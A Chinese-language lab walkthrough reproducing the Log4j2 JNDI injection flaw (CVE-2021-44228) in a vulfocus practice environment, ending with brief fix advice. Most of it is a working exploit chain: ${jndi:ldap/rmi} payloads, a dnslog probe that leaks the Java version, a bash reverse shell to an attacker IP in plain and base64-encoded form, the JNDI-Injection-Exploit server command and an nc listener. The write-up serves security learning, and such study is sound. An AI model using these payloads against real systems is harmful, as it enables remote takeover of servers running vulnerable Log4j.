概要
Log4j2是apache下的java应用常见的开源日志库,是一个Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。
过程
1、当用户通过get或者post提交输入信息时,应用程序中的“log4j2”组件会将信息记录到日志中;
2、假如日志中含有该语句${jndi:ldap://192.168.96.1:1099/shell},log4j2就会去解析该信息,通过jndi的lookup去解析该url:
ldap://192.168.96.1:1099/shell
3、解析到ldap,就会去192.168.96.1:1099的ldap服务找名为shell的资源,找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会将资源下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入。
4、攻击者可以通过shell实现任意的命令执行,造成严重危害。
影响版本
2.0 < log4j2 <2.14.1
漏洞复现
实验环境:本地vulfocus靶场-CVE-2021-44228
1、启动容器,访问靶机页面,点击超链接获取请求
2、开启dnslog网站申请一个dns域名,用来测试漏洞是否支持域名解析以及后面的代码运行。
访问 http://www.dnslog.cn -> 点击get subdomain -> 获取随机子域名 xxx.dnslog.cn
3、验证漏洞
使用burpsuite获取请求包并修改请求包中的参数内容为下面的payload后再发送:
1、payload= ${jndi:ldap://kf.nej6ew.dnslog.cn}
2、对payload的值进行URL编码
观察dns网站解析日志结果,刷新,发现解析成功,说明漏洞存在。
也可以将payload替换成以下形式验证:
${jndi:ldap://${sys:java.version}.nej6ew.dnslog.cn}
4、通过JNDI注入反弹shell
JNDI注入语句格式:
${jndi:rmi://+存在恶意文件的JNDI服务器地址}
${jndi:ldap://+存在恶意文件的JNDI服务器地址}
例如:
payload=${jndi:ldap://kf.wfyebc.dnslog.cn}
payload=${jndi:ldap://${sys:java.version}.wfyebc.dnslog.cn}
payload=${jndi:rmi://192.168.66.128:1099/4j8rkj}
构造反弹命令(通过命令将靶机的最高控制权限移交给攻击机):
1、原始shell反弹命令:bash -i >& /dev/tcp/192.168.0.1/6666 0>&1 #这个代码是靶机运行,ip是攻击机IP
2、通过编码改成可在java环境下执行的命令:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
3、最后利用exp工具搭建JNDI服务器并挂载恶意命令执行:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.0.129"
#-C是执行的bash命令,-A是JNDI服务器IP
生成rmi远程代码执行地址:
rmi://192.168.0.129:1099/fpzqep
JNDI注入语句:
${jndi:rmi://192.168.0.129:1099/fpzqep}
攻击机开启端口监听:
nc -lnvp 6666
将JDNI注入语句通过burpsuite 转码后发送,即可将shell反弹。
payload=${jndi:rmi://192.168.0.129:1099/fpzqep}
修复建议
1.禁止用户输入的参数中出现攻击关键字(过滤用户输入)
2.设置系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true
3.升级到官方最新版本:https://logging.apache.org/log4j/2.x/download.html